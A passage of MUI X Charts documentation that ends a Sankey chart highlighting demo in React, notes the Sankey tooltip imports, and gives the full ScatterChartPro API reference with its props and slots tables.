      <FormControl sx={{ mb: 2 }}>
        <FormLabel>Controlled Highlighting</FormLabel>
        <ToggleButtonGroup
          value={getCurrentValue()}
          exclusive
          onChange={handleToggleChange}
          aria-label="highlight control"
          size="small"
        >
          <ToggleButton value="node-A" aria-label="highlight node A">
            Node A
          </ToggleButton>
          <ToggleButton value="node-C" aria-label="highlight node C">
            Node C
          </ToggleButton>
          <ToggleButton value="node-E" aria-label="highlight node E">
            Node E
          </ToggleButton>
          <ToggleButton value="link-A-C" aria-label="highlight link A to C">
            Link A→C
          </ToggleButton>
          <ToggleButton value="link-B-D" aria-label="highlight link B to D">
            Link B→D
          </ToggleButton>
        </ToggleButtonGroup>
      </FormControl>

      <SankeyChart
        series={{
          data: {
            nodes: [
              { id: 'A', label: 'Node A', color: '#3b82f6' },
              { id: 'B', label: 'Node B', color: '#10b981' },
              { id: 'C', label: 'Node C', color: '#f59e0b' },
              { id: 'D', label: 'Node D', color: '#ef4444' },
              { id: 'E', label: 'Node E', color: '#8b5cf6' },
            ],
            links: [
              { source: 'A', target: 'C', value: 30 },
              { source: 'A', target: 'D', value: 20 },
              { source: 'B', target: 'C', value: 25 },
              { source: 'B', target: 'D', value: 15 },
              { source: 'C', target: 'E', value: 35 },
              { source: 'D', target: 'E', value: 20 },
            ],
          },
          nodeOptions: {
            highlight: 'links',
            fade: 'global',
          },
          linkOptions: {
            highlight: 'nodes',
            fade: 'global',
          },
        }}
        height={300}
        highlightedItem={highlightedItem}
        onHighlightChange={handleHighlightChange}
      />
    </Box>
  );
}

```

## Tooltip

The Sankey chart has an item tooltip that can be customized as described in the [Tooltip documentation page](/x/react-charts/tooltip/).

The only difference of the Sankey Tooltip is its default content.
You can import the default tooltip, or only its content as follows:

```js
import { SankeyTooltip, SankeyTooltipContent } from '@mui/x-charts/SankeyChart',
```

---

# Source: https://mui.com/x/api/charts/scatter-chart-pro.md

# ScatterChartPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Export
- [Charts - Scatter](/x/react-charts/scatter/)
- Charts - Zoom and pan

## Import

```jsx
import { ScatterChartPro } from '@mui/x-charts-pro/ScatterChartPro';
// or
import { ScatterChartPro } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| axisHighlight | `{ x?: 'band' \| 'line' \| 'none', y?: 'band' \| 'line' \| 'none' }` | `{ x: 'none', y: 'none' }` | No |  |
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| disableVoronoi | `bool` | `false` | No |  |
| grid | `{ horizontal?: bool, vertical?: bool }` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'scatter' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'scatter' }>` | - | No |  |
| initialZoom | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onItemClick | `function(event: MouseEvent, scatterItemIdentifier: ScatterItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| onZoomChange | `function(zoomData: Array<ZoomData>) => void` | - | No |  |
| renderer | `'svg-batch' \| 'svg-single'` | `'svg-single'` | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'scatter' }` | - | No |  |
| voronoiMaxRadius | `'item' \| number` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool }>` | - | No |  |
| yAxis | `Array<{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool }>` | - | No |  |
| zAxis | `Array<{ colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, id?: string, max?: number, min?: number }>` | - | No |  |
| zoomData | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| zoomInteractionConfig | `{ pan?: Array<'drag' \| 'pressAndDrag' \| 'wheel' \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'drag' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'pressAndDrag' } \| { allowedDirection?: 'x' \| 'xy' \| 'y', pointerMode?: any, requiredKeys?: Array<string>, type: 'wheel' }>, zoom?: Array<'brush' \| 'doubleTapReset' \| 'pinch' \| 'tapAndDrag' \| 'wheel' \| { pointerMode?: any, requiredKeys?: Array<string>, type: 'wheel' } \| { pointerMode?: any, requiredKeys?: array, type: 'pinch' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'tapAndDrag' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'doubleTapReset' } \| { pointerMode?: any, requiredKeys?: array, type: 'brush' }> }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| axisLabel | `ChartsText` | - | Custom component for axis label. |
| axisLine | `'line'` | - | Custom component for the axis main line. |
| axisTick | `'line'` | - | Custom component for the axis tick. |
| axisTickLabel | `ChartsText` | - | Custom component for tick label. |
| baseButton | `undefined` | - |  |
| baseDivider | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| baseMenuItem | `undefined` | - |  |
| baseMenuList | `undefined` | - |  |
| basePopper | `undefined` | - |  |
| baseTooltip | `undefined` | - |  |
| exportIcon | `ChartsExportIcon` | - | Icon displayed on the toolbar's export button. |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| marker | `ScatterMarker` | - | The component that renders the marker for a scatter point. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| scatter | `undefined` | - |  |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |
